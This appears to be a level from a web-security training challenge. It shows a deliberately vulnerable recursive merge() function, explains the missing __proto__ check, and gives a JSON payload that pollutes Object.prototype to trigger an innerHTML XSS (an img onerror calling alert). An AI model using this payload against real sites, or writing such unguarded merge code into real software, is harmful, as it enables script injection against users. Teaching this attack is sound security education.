Level 5: Prototype Pollution
MISSION: Inject a JSON payload that pollutes the Object prototype and triggers the XSS gadget.
/// SOURCE CODE INSPECTOR ///
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
let userInput = JSON.parse(payload);
merge({}, userInput);
let config = {};
document.getElementById('render-target').innerHTML = config.template || "<b>Welcome</b>";
/// DECRYPTION COMPLETE ///
The custom merge() function recursively merges objects without checking for the __proto__ key. We can pollute the global Object prototype with a malicious template property. When the app looks for config.template, it falls back to the prototype and executes our XSS.
Payload:
{"__proto__": {"template": "<img src=x onerror=alert(1)>"}}